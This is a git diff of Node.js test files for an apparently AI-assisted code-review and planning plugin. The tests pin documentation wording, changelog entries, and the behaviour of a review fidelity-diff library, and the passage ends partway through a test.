test('S17: NW2 bake-off verdict is not labeled unqualified POSITIVE (raw data un-archived)', () => {
|
||||
// Survivor #3: the per-run JSON (a1..b3.json) was never committed
|
||||
// (git log --diff-filter=A is empty), so the medians/jaccards cannot be
|
||||
// re-derived, audited, or falsified. The verdict must be qualified as
|
||||
// opt-in-defensible, and the un-reproducibility must be disclosed.
|
||||
const doc = read('docs/T2-bakeoff-results.md');
|
||||
assert.ok(
|
||||
!/VERDICT:\s*\*\*POSITIVE\*\*/.test(doc),
|
||||
'T2-bakeoff-results.md still labels the verdict bare POSITIVE — downgrade to opt-in-defensible (Survivor #3).',
|
||||
);
|
||||
assert.ok(
|
||||
/un-archived|not committed|cannot be re-derived/i.test(doc),
|
||||
'T2-bakeoff-results.md must disclose the raw per-run data is un-archived / un-reproducible.',
|
||||
);
|
||||
});
|
||||
|
||||
test('S21: T2-bakeoff §3 marks the auto/bypass classifier check as an OPEN RESIDUAL, not satisfied (Survivor #18)', () => {
|
||||
// The W1 charter made an auto/bypass-mode re-run an explicit guard (trekreview
|
||||
// runs headless under those modes). It was never performed and was footnoted
|
||||
// rather than gating. Per recommendation #9, the classifier-interference
|
||||
// result must read as an open residual / untested — not "metric satisfied".
|
||||
const doc = read('docs/T2-bakeoff-results.md');
|
||||
assert.ok(
|
||||
/open residual/i.test(doc) && /untested/i.test(doc),
|
||||
'T2-bakeoff §3 must mark the auto/bypass classifier check as an OPEN RESIDUAL / untested (Survivor #18 / S21).',
|
||||
);
|
||||
});
|
||||
|
||||
// ── S18: framing-hardening cross-file invariants ───────────────────────────
|
||||
|
||||
test('S18: --min-brief-version is documented at the trekplan + trekresearch boundary', () => {
|
||||
|
|
@ -1254,7 +1162,7 @@ test('STORM: no surface claims a missing CLAUDE_PLUGIN_DATA denies — the root
|
|||
});
|
||||
|
||||
test('STORM: README research-dimension prose stays at the existing 3–8 ceiling', () => {
|
||||
// Phase 4.5 discovers dimensions UNDER settings.json:16's maxDimensions: 8.
|
||||
// Phase 4.5 discovers dimensions UNDER the maxDimensions: 8 ceiling.
|
||||
// Rewriting this prose upward would raise a ceiling the brief asked us to hold.
|
||||
assert.ok(
|
||||
read('README.md').includes('3–8 research dimensions'),
|
||||
|
|
@ -1495,59 +1403,10 @@ test('S32: trekbrief Phase 3 delegates Q&A turn-taking to AskUserQuestion (V01
|
|||
|
||||
// ── S33 — documentation consolidation: record the considered-and-kept decisions ──
|
||||
//
|
||||
// The D1–D3 forks (balance-backlog-plan.md) resolved conservatively, collapsing
|
||||
// the model + observability work into a documentation record. These pins make
|
||||
// the three deliverables enforced doc-truth:
|
||||
// • V35 (doc half) — the "24 agents" framing is reconciled to its honest split
|
||||
// (21 spawnable + 3 reference orchestrators, of which synthesis-agent is the
|
||||
// one dormant spawnable). Counts are DERIVED from agents/ so they survive
|
||||
// reword and track new files.
|
||||
// • D2 (V32 rationale) — observability.md documents why direct export rather
|
||||
// than a native collector (preserves the S21 in-process guards).
|
||||
// • D3 (kept-opus) — the analysis doc carries a decision record citing the pin
|
||||
// commit; the model frontmatter is NOT changed (agent-frontmatter.test.mjs
|
||||
// stays the structural source-of-truth and is untouched by S33).
|
||||
// D2 (V32 rationale) — observability.md documents why direct export rather
|
||||
// than a native collector (preserves the S21 in-process guards).
|
||||
// Fix the SOURCE a pin guards, not the test.
|
||||
|
||||
test('S33: README + CLAUDE.md reconcile the agent inventory (spawnable + reference orchestrators = file count)', () => {
|
||||
const agentFiles = listMd('agents');
|
||||
const total = agentFiles.length;
|
||||
const orchestrators = agentFiles.filter((f) => /-orchestrator\.md$/.test(f));
|
||||
const refCount = orchestrators.length;
|
||||
const spawnable = total - refCount;
|
||||
assert.equal(refCount, 3, `expected exactly 3 *-orchestrator reference docs, got ${refCount}`);
|
||||
for (const [name, body] of [['README.md', read('README.md')], ['CLAUDE.md', read('CLAUDE.md')]]) {
|
||||
assert.ok(
|
||||
body.includes(`${spawnable} spawnable`),
|
||||
`${name} must state "${spawnable} spawnable" agents (derived: ${total} files − ${refCount} reference orchestrators)`,
|
||||
);
|
||||
assert.ok(
|
||||
body.includes(`${refCount} orchestrator reference doc`),
|
||||
`${name} must label the ${refCount} orchestrators as reference docs (not spawnable capabilities)`,
|
||||
);
|
||||
}
|
||||
});
|
||||
|
||||
test('S33: the inventory framing names synthesis-agent as the one dormant spawnable', () => {
|
||||
// 1 of the spawnable agents ships dormant (Δ≈0, wired to nothing). The framing
|
||||
// must say so, so the headline count is honest about live vs. dormant capability.
|
||||
for (const [name, body] of [['README.md', read('README.md')], ['CLAUDE.md', read('CLAUDE.md')]]) {
|
||||
assert.ok(
|
||||
/synthesis-agent/.test(body) && /dormant/i.test(body),
|
||||
`${name} inventory framing must name synthesis-agent as the dormant spawnable`,
|
||||
);
|
||||
}
|
||||
});
|
||||
|
||||
test('S33: the 3 orchestrator files declare themselves reference docs, not spawnable capabilities (V35 relabel)', () => {
|
||||
for (const f of listMd('agents').filter((x) => /-orchestrator\.md$/.test(x))) {
|
||||
assert.ok(
|
||||
/reference document, not a spawnable capability/i.test(read(`agents/${f}`)),
|
||||
`agents/${f} must declare "reference document, not a spawnable capability" (V35 doc-half relabel)`,
|
||||
);
|
||||
}
|
||||
});
|
||||
|
||||
test('S33: docs/observability.md documents the direct-export-vs-collector rationale (D2)', () => {
|
||||
const t = read('docs/observability.md');
|
||||
assert.ok(
|
||||
|
|
@ -1562,24 +1421,13 @@ test('S33: docs/observability.md documents the direct-export-vs-collector ration
|
|||
);
|
||||
});
|
||||
|
||||
test('S33: the analysis doc records the D1–D3 resolved forks (considered-and-kept, pin firm)', () => {
|
||||
const t = read('docs/voyage-vs-cc-balance-analysis.md');
|
||||
assert.ok(/Decision record/i.test(t), 'analysis doc must carry a "Decision record" addendum for the resolved forks');
|
||||
for (const d of ['D1', 'D2', 'D3']) {
|
||||
assert.ok(new RegExp(`\\b${d}\\b`).test(t), `analysis-doc decision record must name fork ${d}`);
|
||||
}
|
||||
// D3 kept the model pin firm — the record must cite the pin commit so a future
|
||||
// reader sees the downgrade was reconsidered-and-declined, not overlooked.
|
||||
assert.ok(/40d8742/.test(t), 'decision record must cite the model-pin commit 40d8742 (D3 kept firm, document-only)');
|
||||
});
|
||||
|
||||
// ── S38 — fan-out hedge harmonization + relief-assertion forward-guard (SC d) ──
|
||||
//
|
||||
// The brief's SC(d) premise — an unhedged "fan-out relieves main context" string
|
||||
// present in ~23 files awaiting a removal diff — is factually false: plan-time
|
||||
// enumeration shows the unhedged set is ∅. Every live relief mention is already
|
||||
// hedged (the sole one is CLAUDE.md:5, hedged since S18), and the
|
||||
// docs/T2-bakeoff-results.md "frees the main context" lines are a DIFFERENT, true
|
||||
// T2 bake-off record's "frees the main context" lines were a DIFFERENT, true
|
||||
// background-execution claim (must NOT be touched). SC(d) therefore ships as:
|
||||
// (1) one surgical harmonization at CLAUDE.md:5 making the replacement phrase
|
||||
// "parallel wall-clock" grep-positive (the Δ≈0 / "not yet demonstrated"
|
||||
|
|
@ -1729,7 +1577,6 @@ test('v5.9: no commands/*.md frontmatter carries a model: key (session inheritan
|
|||
const GEMINI_LIVE_SURFACES = [
|
||||
'README.md',
|
||||
'CLAUDE.md',
|
||||
'settings.json',
|
||||
'docs/architecture.md',
|
||||
'docs/command-modes.md',
|
||||
'templates/research-brief-template.md',
|
||||
|
|
@ -1742,12 +1589,6 @@ const GEMINI_LIVE_SURFACES = [
|
|||
// Historical/measurement records that MUST keep their gemini references.
|
||||
const GEMINI_HISTORICAL = [
|
||||
'CHANGELOG.md',
|
||||
'docs/cc-upgrade-2.1.181-decision-matrix.md',
|
||||
'docs/voyage-vs-cc-balance-analysis.md',
|
||||
'docs/BRIEF-vurdering-v2.md',
|
||||
'docs/balance-backlog-plan.md',
|
||||
'docs/agent-description-token-trim-brief.md',
|
||||
'docs/S22-happy-path-dogfood.md',
|
||||
'docs/deep-research-engine-brief.md',
|
||||
'examples/02-real-cli/REGENERATED.md',
|
||||
];
|
||||
|
|
@ -1977,7 +1818,7 @@ const RETIRED_ALIAS_TARGETS = [
|
|||
const ALIAS_HISTORY_EXEMPT = [
|
||||
{ path: 'docs/operations.md', term: 'Sonnet 4.6', count: 1, reason: 'Path C measurement, closed 2026-05-05 on CC v2.1.128' },
|
||||
];
|
||||
const ALIAS_HISTORICAL = ['CHANGELOG.md', 'docs/cc-upgrade-2.1.181-decision-matrix.md'];
|
||||
const ALIAS_HISTORICAL = ['CHANGELOG.md'];
|
||||
|
||||
function aliasHits(rel, re) { return (read(rel).match(re) || []).length; }
|
||||
|
||||
|
|
|
|||
|
|
@ -5,14 +5,14 @@
|
|||
// `{project_dir}/.review-engine-payload-{engine}.json`;
|
||||
// lib/review/review-finalize.mjs runs its `engine` pass first: each engine
|
||||
// finding at MAJOR or BLOCKER whose row (lib/review/engine-compare.mjs
|
||||
// `rowOf`, the armB workflow's row rule, or the row of its trimmed title) no
|
||||
// `rowOf`, or the row of its trimmed title) no
|
||||
// finding of review.md carries is appended at its own severity with `engine`
|
||||
// kept, a `### ` entry with the `**Source:**` line, the JSON, the frontmatter
|
||||
// list and counts, and a verdict that is only raised. A put-back BLOCKER gets
|
||||
// its `### Step R<n>`. An engine finding in `out_of_scope` is not compared.
|
||||
// Tests run the real CLIs (engine-findings, finalize, fill-finding-ids,
|
||||
// validator, gate) in throwaway git repos with no hooks; engine-compare.mjs
|
||||
// is also read directly and pinned equal to the armB workflow's copy.
|
||||
// is also read directly.
|
||||
|
||||
import { after, test } from 'node:test';
|
||||
import { strict as assert } from 'node:assert';
|
||||
|
|
@ -31,7 +31,6 @@ const FINALIZE = join(ROOT, 'lib', 'review', 'review-finalize.mjs');
|
|||
const FILL = join(ROOT, 'lib', 'review', 'fill-finding-ids.mjs');
|
||||
const VALIDATOR = join(ROOT, 'lib', 'validators', 'review-validator.mjs');
|
||||
const GATE = join(ROOT, 'lib', 'review', 'verdict-gate.mjs');
|
||||
const ARMB = join(ROOT, 'scripts', 'trekreview-armB.workflow.mjs');
|
||||
const REVIEW_REL = '.claude/projects/2026-11-02-eng/review.md';
|
||||
const SOURCE_LINE = (engine) => `**Source:** engine ${engine}, put back by the standard-path comparison`;
|
||||
|
||||
|
|
@ -290,32 +289,12 @@ test('[ENG] a finding returned under a trimmed title is not put back twice; an e
|
|||
'it stays declined by the existing rule');
|
||||
});
|
||||
|
||||
// --- the lib row rule equals armB's ------------------------------------------------
|
||||
// --- the lib row rule ------------------------------------------------
|
||||
|
||||
test('[ENG] lib rowOf and trimmedTitle equal the armB workflow\'s on a table of titles', () => {
|
||||
test('[ENG] lib rowOf and trimmedTitle are exported; an untitled finding gets a key no titled row has', () => {
|
||||
assert.equal(typeof compareMod.rowOf, 'function', 'engine-compare.mjs exports rowOf');
|
||||
assert.equal(typeof compareMod.trimmedTitle, 'function', 'engine-compare.mjs exports trimmedTitle');
|
||||
// The armB definitions, read and evaluated as text (scripts/trekreview-armB.workflow.mjs).
|
||||
const src = readFileSync(ARMB, 'utf8');
|
||||
const from = src.indexOf('const tripletOf = ');
|
||||
const endMark = 'const trimmedTitle = ';
|
||||
const to = src.indexOf('\n', src.indexOf(endMark));
|
||||
assert.ok(from !== -1 && src.indexOf(endMark) > from && to > from, 'the armB workflow carries tripletOf .. trimmedTitle in one block');
|
||||
const armb = new Function(`${src.slice(from, to)}\nreturn { rowOf, trimmedTitle };`)();
|
||||
const titles = ['', 'x', ' Padded Title ', 'MiXeD Case', 'æøå … ünïcode', 'a'.repeat(99), 'b'.repeat(100), 'c'.repeat(101),
|
||||
'd'.repeat(250), `${'e'.repeat(95)} […trimmed]`, 'tab\there', 'line\nbreak'];
|
||||
for (const t of titles) {
|
||||
assert.equal(compareMod.trimmedTitle(t), armb.trimmedTitle(t), `trimmedTitle(${JSON.stringify(t.slice(0, 20))}…, ${t.length})`);
|
||||
for (const f of [
|
||||
{ file: 'src/a.mjs', line: 1, rule_key: 'CODE_REVIEW_DEFECT', title: t },
|
||||
{ file: 'src/a.mjs', line: '1', rule_key: 'SECURITY_REVIEW_VULNERABILITY', title: t },
|
||||
{ file: 'docs/x.md', line: 0, rule_key: undefined, title: t },
|
||||
]) {
|
||||
assert.equal(compareMod.rowOf(f), armb.rowOf(f), `rowOf on ${JSON.stringify(f).slice(0, 80)}`);
|
||||
}
|
||||
}
|
||||
const untitled = { file: 'src/a.mjs', line: 1, rule_key: 'CODE_REVIEW_DEFECT' };
|
||||
assert.equal(compareMod.rowOf(untitled), armb.rowOf(untitled), 'rowOf of an untitled finding');
|
||||
assert.notEqual(compareMod.rowOf(untitled), compareMod.rowOf({ ...untitled, title: '' }), 'an untitled finding gets a key no titled row has');
|
||||
});
|
||||
|
||||
|
|
|
|||
|
|
@ -1,175 +0,0 @@
|
|||
import { test } from 'node:test';
|
||||
import { strict as assert } from 'node:assert';
|
||||
import { readFileSync } from 'node:fs';
|
||||
import { join, dirname } from 'node:path';
|
||||
import { fileURLToPath } from 'node:url';
|
||||
import {
|
||||
parseReviewArtifact,
|
||||
fidelityDiff,
|
||||
fidelityDiffStructured,
|
||||
normalizeArmOutput,
|
||||
} from '../../lib/review/fidelity-diff.mjs';
|
||||
import { computeFindingId } from '../../lib/parsers/finding-id.mjs';
|
||||
|
||||
const HERE = dirname(fileURLToPath(import.meta.url));
|
||||
const ROOT = join(HERE, '..', '..');
|
||||
|
||||
function fixture(name) {
|
||||
return readFileSync(join(ROOT, 'tests/fixtures/trekreview', name), 'utf-8');
|
||||
}
|
||||
|
||||
const RUN_A = fixture('review-run-A.md');
|
||||
const RUN_B = fixture('review-run-B.md');
|
||||
|
||||
// ---- parseReviewArtifact ----------------------------------------------------
|
||||
|
||||
test('parseReviewArtifact — extracts verdict + finding IDs from frontmatter', () => {
|
||||
const a = parseReviewArtifact(RUN_A);
|
||||
assert.equal(a.verdict, 'BLOCK', 'one BLOCKER → BLOCK (the fixture said WARN until ordre 5; the threshold table never allowed that)');
|
||||
assert.ok(Array.isArray(a.findingIds));
|
||||
assert.equal(a.findingIds.length, 5);
|
||||
for (const id of a.findingIds) assert.match(id, /^[0-9a-f]{40}$/);
|
||||
});
|
||||
|
||||
test('parseReviewArtifact — extracts per-finding details from trailing JSON', () => {
|
||||
const a = parseReviewArtifact(RUN_A);
|
||||
assert.ok(Array.isArray(a.details));
|
||||
assert.equal(a.details.length, 5);
|
||||
const blocker = a.details.find((d) => d.severity === 'BLOCKER');
|
||||
assert.ok(blocker);
|
||||
// fixtures use the key "rule"; real reviewer output uses "rule_key" — both accepted
|
||||
assert.equal(blocker.rule_key, 'UNIMPLEMENTED_CRITERION');
|
||||
assert.equal(blocker.file, 'lib/handlers/login.mjs');
|
||||
assert.equal(blocker.line, 23);
|
||||
});
|
||||
|
||||
test('parseReviewArtifact — tolerates a missing trailing JSON block (details = [])', () => {
|
||||
const noJson = '---\ntype: trekreview\nverdict: ALLOW\nfindings: []\n---\n\n# Review\n\nNo findings.\n';
|
||||
const r = parseReviewArtifact(noJson);
|
||||
assert.equal(r.verdict, 'ALLOW');
|
||||
assert.deepEqual(r.findingIds, []);
|
||||
assert.deepEqual(r.details, []);
|
||||
});
|
||||
|
||||
// ---- fidelityDiff -----------------------------------------------------------
|
||||
|
||||
test('fidelityDiff — identical artifact is fully equivalent (jaccard 1.0)', () => {
|
||||
const d = fidelityDiff(RUN_A, RUN_A);
|
||||
assert.equal(d.verdictMatch, true);
|
||||
assert.equal(d.jaccard, 1);
|
||||
assert.equal(d.equivalent, true);
|
||||
assert.equal(d.severityMismatches.length, 0);
|
||||
assert.equal(d.ruleKeyMismatches.length, 0);
|
||||
});
|
||||
|
||||
test('fidelityDiff — A vs B (A ⊂ B): same verdict, jaccard 5/6, equivalent at default tolerance', () => {
|
||||
const d = fidelityDiff(RUN_A, RUN_B);
|
||||
assert.equal(d.verdictMatch, true);
|
||||
assert.ok(Math.abs(d.jaccard - 5 / 6) < 1e-9, `jaccard=${d.jaccard}`);
|
||||
assert.equal(d.equivalent, true); // default jaccardTolerance 0.7
|
||||
});
|
||||
|
||||
test('fidelityDiff — divergent verdict makes it non-equivalent even at jaccard 1.0', () => {
|
||||
const a = parseReviewArtifact(RUN_A);
|
||||
const flipped = RUN_A.replace('verdict: BLOCK', 'verdict: WARN');
|
||||
assert.notEqual(flipped, RUN_A, 'fixture control: the verdict line was flipped');
|
||||
const d = fidelityDiff(RUN_A, flipped);
|
||||
assert.equal(d.verdictMatch, false);
|
||||
assert.equal(d.jaccard, 1);
|
||||
assert.equal(d.equivalent, false);
|
||||
void a;
|
||||
});
|
||||
|
||||
test('fidelityDiff — tolerance gate: jaccard below tolerance is non-equivalent', () => {
|
||||
const dLoose = fidelityDiff(RUN_A, RUN_B, { jaccardTolerance: 0.7 });
|
||||
const dStrict = fidelityDiff(RUN_A, RUN_B, { jaccardTolerance: 0.95 });
|
||||
assert.equal(dLoose.equivalent, true);
|
||||
assert.equal(dStrict.equivalent, false);
|
||||
});
|
||||
|
||||
test('fidelityDiff — flags severity mismatch on a shared finding ID', () => {
|
||||
// Flip the BLOCKER severity in B's trailing JSON for the shared login.mjs finding.
|
||||
const sharedId = '763d174e6c519fafbadcba5d1706708479e36e61';
|
||||
const tampered = RUN_B.replace(
|
||||
`"id": "${sharedId}", "severity": "BLOCKER"`,
|
||||
`"id": "${sharedId}", "severity": "MINOR"`,
|
||||
);
|
||||
const d = fidelityDiff(RUN_A, tampered);
|
||||
assert.ok(d.severityMismatches.some((m) => m.id === sharedId),
|
||||
`expected a severity mismatch for ${sharedId}; got ${JSON.stringify(d.severityMismatches)}`);
|
||||
assert.equal(d.equivalent, false);
|
||||
});
|
||||
|
||||
test('fidelityDiff — exposes finding counts for both arms', () => {
|
||||
const d = fidelityDiff(RUN_A, RUN_B);
|
||||
assert.equal(d.countA, 5);
|
||||
assert.equal(d.countB, 6);
|
||||
});
|
||||
|
||||
// ---- structured arm-output path (the bake-off comparison) -------------------
|
||||
|
||||
const ARM = (verdict, findings) => ({ verdict, findings });
|
||||
const F = (severity, rule_key, file, line) => ({ severity, rule_key, file, line });
|
||||
|
||||
test('normalizeArmOutput — recomputes canonical IDs from the (file,line,rule_key) triplet', () => {
|
||||
const arm = ARM('WARN', [F('BLOCKER', 'SECURITY_INJECTION', 'lib/exec.mjs', 23)]);
|
||||
const n = normalizeArmOutput(arm);
|
||||
assert.equal(n.verdict, 'WARN');
|
||||
assert.equal(n.findingIds.length, 1);
|
||||
assert.equal(n.findingIds[0], computeFindingId('lib/exec.mjs', 23, 'SECURITY_INJECTION'));
|
||||
});
|
||||
|
||||
test('normalizeArmOutput — drops findings missing file/rule_key from the ID set', () => {
|
||||
const arm = ARM('WARN', [F('MAJOR', 'MISSING_TEST', '', 0), { severity: 'MINOR', line: 5 }]);
|
||||
const n = normalizeArmOutput(arm);
|
||||
assert.equal(n.findingIds.length, 0);
|
||||
assert.equal(n.details.length, 2); // still recorded, just not ID-keyed
|
||||
});
|
||||
|
||||
test('fidelityDiffStructured — identical arms are equivalent (jaccard 1.0)', () => {
|
||||
const findings = [
|
||||
F('BLOCKER', 'UNIMPLEMENTED_CRITERION', 'a.mjs', 1),
|
||||
F('MAJOR', 'MISSING_TEST', 'b.mjs', 0),
|
||||
];
|
||||
const d = fidelityDiffStructured(ARM('BLOCK', findings), ARM('BLOCK', findings));
|
||||
assert.equal(d.equivalent, true);
|
||||
assert.equal(d.jaccard, 1);
|
||||
assert.equal(d.verdictMatch, true);
|
||||
});
|
||||
|
||||
test('fidelityDiffStructured — divergent verdict fails even with identical findings', () => {
|
||||
const findings = [F('BLOCKER', 'UNIMPLEMENTED_CRITERION', 'a.mjs', 1)];
|
||||
const d = fidelityDiffStructured(ARM('BLOCK', findings), ARM('WARN', findings));
|
||||
assert.equal(d.verdictMatch, false);
|
||||
assert.equal(d.equivalent, false);
|
||||
});
|
||||
|
||||
test('fidelityDiffStructured — extra finding in Arm B lowers jaccard', () => {
|
||||
const a = ARM('WARN', [F('MAJOR', 'MISSING_TEST', 'a.mjs', 10)]);
|
||||
const b = ARM('WARN', [
|
||||
F('MAJOR', 'MISSING_TEST', 'a.mjs', 10),
|
||||
F('MINOR', 'PLACEHOLDER_IN_CODE', 'b.mjs', 14),
|
||||
]);
|
||||
const d = fidelityDiffStructured(a, b);
|
||||
assert.ok(Math.abs(d.jaccard - 1 / 2) < 1e-9, `jaccard=${d.jaccard}`);
|
||||
assert.equal(d.countA, 1);
|
||||
assert.equal(d.countB, 2);
|
||||
});
|
||||
|
||||
test('fidelityDiffStructured — same triplet, different severity → severity mismatch', () => {
|
||||
const a = ARM('BLOCK', [F('BLOCKER', 'UNIMPLEMENTED_CRITERION', 'a.mjs', 1)]);
|
||||
const b = ARM('BLOCK', [F('MAJOR', 'UNIMPLEMENTED_CRITERION', 'a.mjs', 1)]);
|
||||
const d = fidelityDiffStructured(a, b);
|
||||
assert.equal(d.jaccard, 1); // same triplet → same ID
|
||||
assert.equal(d.severityMismatches.length, 1);
|
||||
assert.equal(d.equivalent, false);
|
||||
});
|
||||
|
||||
test('normalizeArmOutput — two rows on one triplet keep two ids, the second over #2, as review.md writes them (review of b47cabd)', () => {
|
||||
const row = { file: 'bin/slug.mjs', line: 46, rule_key: 'CODE_REVIEW_DEFECT', severity: 'MAJOR' };
|
||||
const n = normalizeArmOutput({ verdict: 'WARN', findings: [row, { ...row }] });
|
||||
assert.deepEqual(n.findingIds, [
|
||||
computeFindingId('bin/slug.mjs', 46, 'CODE_REVIEW_DEFECT'),
|
||||
computeFindingId('bin/slug.mjs', 46, 'CODE_REVIEW_DEFECT#2'),
|
||||
]);
|
||||
});
|
||||
|
|
@ -1,169 +0,0 @@
|
|||
// tests/lib/fix-round-4-5b-part-2-prose.test.mjs
|
||||
// Prose pins for fix round 4-5b, part 2 (plan
|
||||
// .claude/projects/2026-10-27-fix-round-4-5b-part-2, decision 88): the fixes
|
||||
// that are text a session reads. The tags in brackets are the part-2 ids from
|
||||
// the round's brief; each tagged test fails on an assertion at 52c382c, the
|
||||
// round's start point. The keep-behaviour checks sit inside the tagged test as
|
||||
// "Control:" assertions.
|
||||
// DLC /trekexecute's Sub-step G says what `{hash}` is: the full commit id
|
||||
// from `git rev-parse HEAD` after the step's last commit, never the short
|
||||
// id `git commit` prints (done-line --check refuses a short id with
|
||||
// exit 2). The progress line stores that full id, and Handover 5's
|
||||
// `commit` row says so.
|
||||
// KI the CHANGELOG lists part 2's fixes under ### Fixed, its door under
|
||||
// ### Doors, and the review's other findings (7 MAJOR, 3 MINOR, by their
|
||||
// 8-hex ids) and part 2's accepted side effects under ### Known issues.
|
||||
// No static import of a new export: the file must load at 52c382c.
|
||||
// Fix the SOURCE a pin guards, not the pin.
|
||||
|
||||
import { test } from 'node:test';
|
||||
import { strict as assert } from 'node:assert';
|
||||
import { existsSync, readFileSync } from 'node:fs';
|
||||
import { dirname, join } from 'node:path';
|
||||
import { fileURLToPath } from 'node:url';
|
||||
|
||||
const ROOT = join(dirname(fileURLToPath(import.meta.url)), '..', '..');
|
||||
|
||||
const readCache = new Map();
|
||||
|
||||
/** A repo file's text; the file must exist. Read from disk once per run. */
|
||||
function read(rel) {
|
||||
if (!readCache.has(rel)) {
|
||||
assert.ok(existsSync(join(ROOT, rel)), `missing file ${rel}`);
|
||||
readCache.set(rel, readFileSync(join(ROOT, rel), 'utf8'));
|
||||
}
|
||||
return readCache.get(rel);
|
||||
}
|
||||
|
||||
/** Whitespace (line breaks too) collapsed to one space. */
|
||||
const flat = (s) => s.replace(/\s+/g, ' ').trim();
|
||||
|
||||
/** The text from `heading` up to the next heading of the same or a higher level; the heading must exist. */
|
||||
function section(text, heading) {
|
||||
const at = text.indexOf(heading);
|
||||
assert.ok(at >= 0, `missing heading "${heading}"`);
|
||||
const level = heading.match(/^#+/)[0].length;
|
||||
const rest = text.slice(at + heading.length);
|
||||
const next = rest.search(new RegExp(`\\n#{1,${level}} `));
|
||||
return heading + (next >= 0 ? rest.slice(0, next) : rest);
|
||||
}
|
||||
|
||||
const EXEC = 'commands/trekexecute.md';
|
||||
const CONTRACTS = 'docs/HANDOVER-CONTRACTS.md';
|
||||
|
||||
// --- DLC ---------------------------------------------------------------------------
|
||||
|
||||
test('[DLC] Sub-step G records the full commit id from git rev-parse HEAD after the checkpoint', () => {
|
||||
const g = section(read(EXEC), '#### Sub-step G — Checkpoint, done line, unlock');
|
||||
const gFlat = flat(g);
|
||||
|
||||
// Red: the checkpoint says how {hash} is read, before the done line runs.
|
||||
const checkpointAt = g.indexOf('**Checkpoint.**');
|
||||
const doneLineAt = g.indexOf('**The done line**');
|
||||
assert.ok(checkpointAt >= 0 && doneLineAt > checkpointAt, 'Sub-step G must hold **Checkpoint.** before **The done line**');
|
||||
const revParseAt = g.indexOf('`git rev-parse HEAD`');
|
||||
assert.ok(revParseAt > checkpointAt && revParseAt < doneLineAt,
|
||||
'Sub-step G must name `git rev-parse HEAD` in the checkpoint item, after **Checkpoint.** and before the done-line check');
|
||||
assert.ok(gFlat.includes('full commit id'), 'Sub-step G must say {hash} is the full commit id');
|
||||
assert.ok(gFlat.includes('never the short id'), 'Sub-step G must say {hash} is never the short id `git commit` prints');
|
||||
assert.ok(gFlat.includes('Read it again after any later commit of the step'),
|
||||
'Sub-step G must say the id is read again after a later commit of the step');
|
||||
|
||||
const commitLines = g.split('\n').filter((l) => l.includes('`steps.{N}.commit = {hash}`'));
|
||||
assert.ok(commitLines.length > 0, 'Sub-step G must hold the `steps.{N}.commit = {hash}` progress line');
|
||||
for (const l of commitLines) {
|
||||
assert.ok(l.includes('(the full commit id)'), `the progress line must say it stores the full commit id: ${l}`);
|
||||
}
|
||||
|
||||
const handover5 = section(read(CONTRACTS), '## Handover 5 ');
|
||||
const rows = handover5.split('\n').filter((l) => l.startsWith('| `commit` |'));
|
||||
assert.equal(rows.length, 1, `Handover 5 must hold exactly one \`commit\` row; found ${rows.length}`);
|
||||
assert.ok(rows[0].includes('full commit id'), `the Handover 5 \`commit\` row must say "full commit id": ${rows[0]}`);
|
||||
|
||||
// Control: the done-line check keeps its literal, Phase 7.5 keeps reading the
|
||||
// stored id, and Sub-step G asks for no abbreviated id anywhere.
|
||||
assert.ok(g.includes('done-line.mjs --check --step {N} --report {report_path} --commit {hash}'),
|
||||
'Control: Sub-step G keeps the done-line --check literal with --commit {hash}');
|
||||
const p75 = section(read(EXEC), '## Phase 7.5 — Manifest audit (independent)');
|
||||
assert.ok(p75.includes('--commit {steps.N.commit}'), 'Control: Phase 7.5 keeps --commit {steps.N.commit}');
|
||||
assert.doesNotMatch(g, /--short|%h|--abbrev/, 'Control: Sub-step G must not ask for an abbreviated commit id');
|
||||
});
|
||||
|
||||
// --- KI: the round's CHANGELOG entry -----------------------------------------------
|
||||
// Part 2 stands in the same Unreleased section as part 1. The section is found
|
||||
// by its title, by the rule tests/lib/fix-round-4-5b-prose.test.mjs uses
|
||||
// (copied, not imported): `## Unreleased — <title>` before the release,
|
||||
// `## vX.Y.Z — <date> — <title>` after it, exactly once, up to the next `## `.
|
||||
|
||||
const CHANGELOG_TITLE = "The annotating skill, the run coupling and P10's model-free part";
|
||||
const CHANGELOG_HEADING = new RegExp(`^## (?:Unreleased|v\\d+\\.\\d+\\.\\d+ — \\d{4}-\\d{2}-\\d{2}) — ${CHANGELOG_TITLE.replace(/[.*+?^${}()|[\]\\]/g, '\\$&')}$`);
|
||||
|
||||
/** The lines of the round's CHANGELOG section, heading excluded. */
|
||||
function changelogSection() {
|
||||
const lines = read('CHANGELOG.md').split('\n');
|
||||
const at = [];
|
||||
lines.forEach((l, i) => { if (CHANGELOG_HEADING.test(l.replace(/\s+$/, ''))) at.push(i); });
|
||||
assert.equal(at.length, 1, `CHANGELOG.md must hold the "${CHANGELOG_TITLE}" section exactly once (found ${at.length})`);
|
||||
let end = lines.length;
|
||||
for (let i = at[0] + 1; i < lines.length; i++) if (/^## /.test(lines[i])) { end = i; break; }
|
||||
return lines.slice(at[0] + 1, end);
|
||||
}
|
||||
|
||||
/** The bullets of one `### ` subsection of the round's CHANGELOG section, each flattened to one line. */
|
||||
function changelogBullets(heading) {
|
||||
const lines = changelogSection();
|
||||
const s = lines.findIndex((l) => l.replace(/\s+$/, '') === heading);
|
||||
assert.ok(s !== -1, `the "${CHANGELOG_TITLE}" section of CHANGELOG.md must have "${heading}"`);
|
||||
const out = [];
|
||||
for (const l of lines.slice(s + 1)) {
|
||||
if (/^### /.test(l)) break;
|
||||
if (/^- /.test(l)) out.push(l);
|
||||
else if (out.length && l.trim() !== '' && /^\s/.test(l)) out[out.length - 1] += ` ${l}`;
|
||||
else if (l.trim() !== '') out.push('');
|
||||
}
|
||||
return out.filter((b) => b !== '').map(flat);
|
||||
}
|
||||
|
||||
// The review's findings part 2 leaves open (7 MAJOR, then 3 MINOR), and the
|
||||
// ones it fixes; the ids are the review's, written out here.
|
||||
const OPEN_IDS = ['c76a0bb8', 'b0fd0a04', 'f7e8278b', '4ec591f4', '2c904235', '450dbabb', 'e3824c6d', '5114fa84', 'e585ce27', '8959d2cd'];
|
||||
const FIXED_IDS = ['c9b5bce4', '021996c6', '20375547', 'b30f057c', '49080c36'];
|
||||
|
||||
test('[KI] the CHANGELOG lists part 2\'s fixes and the review\'s other findings under Known issues', () => {
|
||||
const known = changelogBullets('### Known issues');
|
||||
|
||||
// Red: each open finding has exactly one Known-issues bullet, and that bullet names decision 88.
|
||||
for (const id of OPEN_IDS) {
|
||||
const hits = known.filter((b) => b.includes(id));
|
||||
assert.equal(hits.length, 1, `### Known issues must hold exactly one bullet naming ${id}; found ${hits.length}`);
|
||||
}
|
||||
for (const b of known.filter((k) => OPEN_IDS.some((id) => k.includes(id)))) {
|
||||
